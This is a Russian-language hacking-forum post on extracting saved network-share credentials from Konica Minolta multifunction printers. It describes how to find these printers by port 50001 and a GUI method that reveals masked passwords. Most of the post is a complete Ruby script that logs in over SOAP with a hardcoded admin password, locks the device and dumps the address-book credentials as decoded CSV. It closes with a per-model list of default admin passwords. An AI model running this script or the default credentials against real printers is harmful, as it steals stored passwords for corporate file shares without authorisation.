HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Беспроводные технологии/Wi-Fi/Wardriving
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 27.02.2026, 16:40
Eva Karimova
Новичок
Регистрация: 04.02.2026
Сообщений: 8
С нами: 145717

Репутация: 0
По умолчанию



В адресной книге МФУ Konica Minolta (стоит отметить, что быстро обнаружить принтеры данной марки можно с помощью поиска на сетевых устройствах открытого порта 50001), имеющих возможность сохранять сканированные документы в сетевые каталоги, сохраняются учетные данные для прохождения процедуры аутентификации. Эти данные хранятся в зашифрованном виде, через веб-форму невозможно узнать пароль, только логин. Однако, для ряда моделей есть скрипт в Metasploit.

Пример использования данного скрипта:



Опытным путем получено следующее:
  1. Данный скрипт работает через протокол SOAP по порту 50001. Сначала отправляет запрос на авторизацию с учетными данными, в ответе получает AuthKey. С полученным AuthKey запрашивает адресную книгу, которую получает в формате XML в открытом виде. Затем отправляет запрос на логаут.
  2. На ряде МФУ, например, C3110, скрипт не работает.
  3. Существует проприетарное ПО KONICA MINOLTA Data Administrator, позволяющее управлять принтерами данной марки.

    Кроме этого, через данное ПО присутствует возможность получения аутентификационных данных.

  4. Извлечение паролей возможно в случае, если есть аутентификационные данные для консоли управления принтером.
Извлечение паролей с помощью KONICA MINOLTA Data Administrator

Запускаем ПО



Нажимаем кнопку "Registration of Device"



Нажимаем клавишу "Search and Register..."



Делаем двойной клик по нужному принтеру



Вводим пароль администратора принтера и нажимаем "ОК"



Закрываем окно с успешной регистрацией устройства, видим, что в списке устройств появилось новое.



Делаем двойной клик по устройству



Нажимаем кнопку Import и соглашаемся с всплывающим окном



После недолгого процесса открывается окно с инфо об устройстве



В левой части выбираем "Address Settings", в открытой вкладке "Address book"



Открывается список сохраненных логинов/паролей, по двойному клику на запись открывается полная информация



Пароль скрыт с использованием точек, но с помощью BulletPassView получим его в открытом виде



Данный способ является универсальным для всех устройств фирмы Konica Minolta.


Автоматизация для остальных устройств
Исследовав способ взаимодействия (трафик отправляется в открытом виде без использования шифрования) данного ПО с принтерами C3110 узнали следующее:
  1. В отличии от других принтеров, для выгрузки паролей нужно пять, а не три шага. А именно:
    1. Запрос на аутентификацию с получением AuthKey
    2. Запрос на блокировку устройства с получением LockKey
    3. Запрос на получение адресной книги (с использованием AuthKey и LockKey)
    4. Запрос на разблокировку устройства
    5. Запрос на логаут
Стоит отметить, что при слишком быстром отправлении данных запросов устройство не обрабатывает и пропускает некоторые из них. В результате получим заблокированное устройство, разблокировать которое можно только перезагрузкой.
  1. В результате имеем не XML, а закодированную в Base64 CSV.
Для автоматизации был модернизирован модуль для Metasploit, указанный выше. Используется Ruby с библиотеками 'net/http',

'uri', 'nokogiri', 'base64'.

В теле скрипта прописаны аутентификационные данные для принтера, а также указан IP-адрес принтера. В результате скрипт выдает CSV в чистом виде.



Скрипт представлен в приложении.


Код:


Код:
require 'net/http'
require 'uri'
require 'nokogiri'
require "base64"

def generate_authkey_request_xlm(major, minor)
  user ='Admin'
  passwd = '12345678'
  Nokogiri::XML::Builder.new do |xml|
    xml.send('SOAP-ENV:Envelope',
             'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
             'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
             'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
             'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
      xml.send('SOAP-ENV:Header'){
        xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
          xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
          xml.send('UserName', 'xmlns' => '') { xml.text '' }
          xml.send('Password', 'xmlns' => '') { xml.text '' }
          xml.send('Version', 'xmlns' => ''){
            xml.send('Major') { xml.text "#{major}" }
            xml.send('Minor') { xml.text "#{minor}" }
          }
          xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' }
        }
      }
      xml.send('SOAP-ENV:Body') {
        xml.send('AppReqLogin', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
          xml.send('OperatorInfo'){
            xml.send('UserType') { xml.text "#{user}" }
            xml.send('Password') { xml.text "#{passwd}" }
          }
          xml.send('TimeOut') { xml.text '60' }
        }
      }
    }
  end
end

def generate_logout_request_xlm(major, minor, authkey)
  Nokogiri::XML::Builder.new do |xml|
    xml.send('SOAP-ENV:Envelope',
             'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
             'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
             'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
             'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
      xml.send('SOAP-ENV:Header'){
        xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
          xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
          xml.send('UserName', 'xmlns' => '') { xml.text '' }
          xml.send('Password', 'xmlns' => '') { xml.text '' }
          xml.send('Version', 'xmlns' => ''){
            xml.send('Major') { xml.text "#{major}" }
            xml.send('Minor') { xml.text "#{minor}" }
          }
          xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' }
        }
      }
      xml.send('SOAP-ENV:Body') {
        xml.send('AppReqLogout', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
          xml.send('OperatorInfo'){
            xml.send('AuthKey') { xml.text "#{authkey}" }
          }
          xml.send('TimeOut') { xml.text '60' }
        }
      }
    }
  end
end

def generate_lock_request_xlm(major, minor, authkey)
  Nokogiri::XML::Builder.new do |xml|
    xml.send('SOAP-ENV:Envelope',
             'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
             'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
             'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
             'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
      xml.send('SOAP-ENV:Header'){
        xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
          xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
          xml.send('UserName', 'xmlns' => '') { xml.text '' }
          xml.send('Password', 'xmlns' => '') { xml.text '' }
          xml.send('Version', 'xmlns' => ''){
            xml.send('Major') { xml.text "#{major}" }
            xml.send('Minor') { xml.text "#{minor}" }
          }
          xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' }
        }
      }
      xml.send('SOAP-ENV:Body') {
        xml.send('AppReqEnterDeviceLock', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
          xml.send('OperatorInfo'){
            xml.send('AuthKey') { xml.text "#{authkey}" }
          }
            xml.send('LockType') { xml.text 'DownloadLock' }
            xml.send('PackageEntryFlg') { xml.text 'Package' }       
          xml.send('TimeOut') { xml.text '60' }
        }
      }
    }
  end
end

def generate_unlock_request_xlm(major, minor, authkey, lockkey)
  Nokogiri::XML::Builder.new do |xml|
    xml.send('SOAP-ENV:Envelope',
             'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
             'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
             'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
             'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
      xml.send('SOAP-ENV:Header'){
        xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
          xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
          xml.send('UserName', 'xmlns' => '') { xml.text '' }
          xml.send('Password', 'xmlns' => '') { xml.text '' }
          xml.send('Version', 'xmlns' => ''){
            xml.send('Major') { xml.text "#{major}" }
            xml.send('Minor') { xml.text "#{minor}" }
          }
          xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' }
        }
      }
      xml.send('SOAP-ENV:Body') {
        xml.send('AppReqExitDeviceLock', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
          xml.send('OperatorInfo'){
            xml.send('AuthKey') { xml.text "#{authkey}" }
          }
            xml.send('LockKey') { xml.text "#{lockkey}" }   
        }
      }
    }
  end
end

def generate_pwd_request_xlm(major, minor, authkey, lockkey)
  Nokogiri::XML::Builder.new do |xml|
    xml.send('SOAP-ENV:Envelope',
             'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
             'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
             'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
             'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
      xml.send('SOAP-ENV:Header'){
        xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
          xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
          xml.send('UserName', 'xmlns' => '') { xml.text '' }
          xml.send('Password', 'xmlns' => '') { xml.text '' }
          xml.send('Version', 'xmlns' => ''){
            xml.send('Major') { xml.text "#{major}" }
            xml.send('Minor') { xml.text "#{minor}" }
          }
          xml.send('AppManagementID', 'xmlns' => '') { xml.text '1000' }
        }
      }
      xml.send('SOAP-ENV:Body'){
        xml.send('AppReqSyncGetPackageData', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
          xml.send('OperatorInfo'){
            xml.send('AuthKey') { xml.text "#{authkey}" }
          }
            xml.send('LockKey') { xml.text "#{lockkey}" }
            xml.send('RequestItem') { xml.text 'Abbr' }
          xml.send('ObtainCondition'){
            xml.send('Type') { xml.text 'OffsetList' }
              xml.send('OffsetRange'){
                xml.send('Start') { xml.text '1' }
                xml.send('Length') { xml.text '100' }
              }
          }
          xml.send('BackUp') { xml.text 'On' }
          xml.send('BackUpPassword') { xml.text 'MYSKIMGS' }         
          xml.send('FileFormat') { xml.text 'Csv' }
        }
      }
    }
  end
end

def version(ip)
  response = send_request(ip, '','""')
  if response.nil?
    print_error("No response from device")
    return
  else
    xml0_body = ::Nokogiri::XML(response.body)
    major_parse = xml0_body.xpath('//Major').text
    minor_parse = xml0_body.xpath('//Minor').text
    major = ("#{major_parse}")
    minor = ("#{minor_parse}")
    sleep(1)
    login(ip, major, minor)
  end

  rescue
    puts("Version check Connection failed")
end

def login(ip, major, minor)
  authreq_xml = generate_authkey_request_xlm(major, minor)
  begin
    response = send_request(ip, authreq_xml.to_xml, "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}#AppReqLogin")
    if response.nil?
      print_error("No response from device")
      return
    else
      xml1_body = ::Nokogiri::XML(response.body)
      authkey_parse = xml1_body.xpath('//AuthKey').text
      authkey = ("#{authkey_parse}")
      sleep(1)
      lock(ip, major, minor, authkey)
      logout(ip, major, minor, authkey)
    end
  rescue
    puts("Login Connection failed")
  end
end

def lock(ip, major, minor, authkey)
  lockreq_xml = generate_lock_request_xlm(major, minor, authkey)
  begin
    response = send_request(ip, lockreq_xml.to_xml, "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}#AppReqEnterDeviceLock")
    if response.nil?
      print_error("No response from device")
      return
    else
      xml1_body = ::Nokogiri::XML(response.body)
      lockkey_parse = xml1_body.xpath('//LockKey').text
      lockkey = ("#{lockkey_parse}")
      sleep(1)
      extract(ip, major, minor, authkey, lockkey)
      unlock(ip, major, minor, authkey, lockkey)
    end
  rescue
    puts("Lock failed")
  end
end

def unlock(ip, major, minor, authkey, lockkey)
  unlockreq_xml = generate_unlock_request_xlm(major, minor, authkey, lockkey)
  begin
    response = send_request(ip, unlockreq_xml.to_xml, "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}#AppReqExitDeviceLock")
    sleep(1)
    if response.nil?
      print_error("No response from device")
      return
      end
  rescue
    puts("unlock failed")
  end
end

def logout(ip, major, minor, authkey)
  authreq_xml = generate_logout_request_xlm(major, minor, authkey)
  begin
    response = send_request(ip, authreq_xml.to_xml, "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}#AppReqLogout")
    if response.nil?
      print_error("No response from device")
      return
    end
  rescue
    puts("logout failed")
  end
end

def extract(ip, major, minor, authkey, lockkey)
  if (authkey != '')
    smbreq_xml = generate_pwd_request_xlm(major, minor, authkey, lockkey)
    begin
      response = send_request(ip, smbreq_xml.to_xml,"http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}#AppReqSyncGetPackageData")
      sleep(1)
      if response.nil?
        print_error("No response from device")
        return
      else
          pattern = /Content-Transfer-Encoding: base64(.*?)--MIME_boundary--/m
          csv_data = nil
          if match = response.body.match(pattern)
                    csv_data = match[1].strip
                  end
                
          if csv_data.nil?
            puts "CSV данные не найдены."
          else
            decoded_csv = Base64.decode64(csv_data)
      
            puts "Decoded CSV:"
            puts decoded_csv
          end
      end
    end
  end
end

def send_request(ip, data, action)
  uri = URI.parse("http://#{ip}:50001/OpenAPI")
  http = Net::HTTP.new(uri.host, uri.port)

  request = Net::HTTP::Post.new(uri.path)
  request.body = data # Тело запроса
  request['Content-Type'] = 'text/xml'
  request['SOAPAction'] = "#{action}"
 
  return http.request(request)
end

version('172.16.1.121')
Пароли к устройствам Konica Minolta по умолчанию

ModelAdmin PassPSWC Admin Login/Pass

Model: 20/20p
Admin Pass: admin/access
PSWC: 25e(none)

Model: 36/42
Admin Pass: 12345678
PSWC: 12345678

Model: 40p
Admin Pass: administrator
PSWC: (none)

Model: 4050/4750
Admin Pass: 12345678
PSWC: 12345678

Model: 4052/4752
Admin Pass: 1234567812345678
PSWC: 1234567812345678

Model: c20
Admin Pass: 000000
PSWC: administrator

Model: c20p
Admin Pass: administrator
PSWC: (none)

Model: c25
Admin Pass: 000000
PSWC: administrator

Model: c35
Admin Pass: 12345678
PSWC: 12345678

Model: c35p
Admin Pass: administrator
PSWC: (none)

Model: C3100p
Admin Pass: 12345678
PSWC: 12345678

Model: C3110
Admin Pass: 12345678
PSWC: 12345678

Model: c3350/c3850/c3850FS
Admin Pass: 12345678
PSWC: 12345678

Model: c3351/c3851/c3851FS
Admin Pass: 1234567812345678
PSWC: 1234567812345678

Model: 162/163/165/185/210/211/215/226/266/306/225i
Admin Pass: 000000
PSWC: sysadm

Model: c250/c252/c352/c450/c203/c253/c353/c451/c650/c220/c280/c360
Admin Pass: 12345678
PSWC: 12345678

Model: c452/c552/c652/c652DS/420/500/361/421/501/223/283/363/423/552/652
Admin Pass: (none)
PSWC: (none)

Model: c224/c224e/c284/c284e/c364/c364e/c454/c454e/c554
Admin Pass: 1234567812345678
PSWC: 1234567812345678

Model: c554e/c654/c654e/c754/c754e/654/754/224e/284e/364e/454e/554e/
227/287/367/308/308e/368/368e/458/458e/558/558e/658e/758/808/958/
C227/C287/C258/C308/C368/C458/C558/C659/C759
Admin Pass: (none)
PSWC: (none)

Model: 4050i/4750i/300i/360i/450i/550i/650i/750i/850i/950i/C3300i/
C4000i/C3320i/C3350i/C4050i/C257i/C250i/C300i/C360i/C450i/C550i/
C650i/C750i
Admin Pass: 1234567812345678
PSWC: 1234567812345678
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.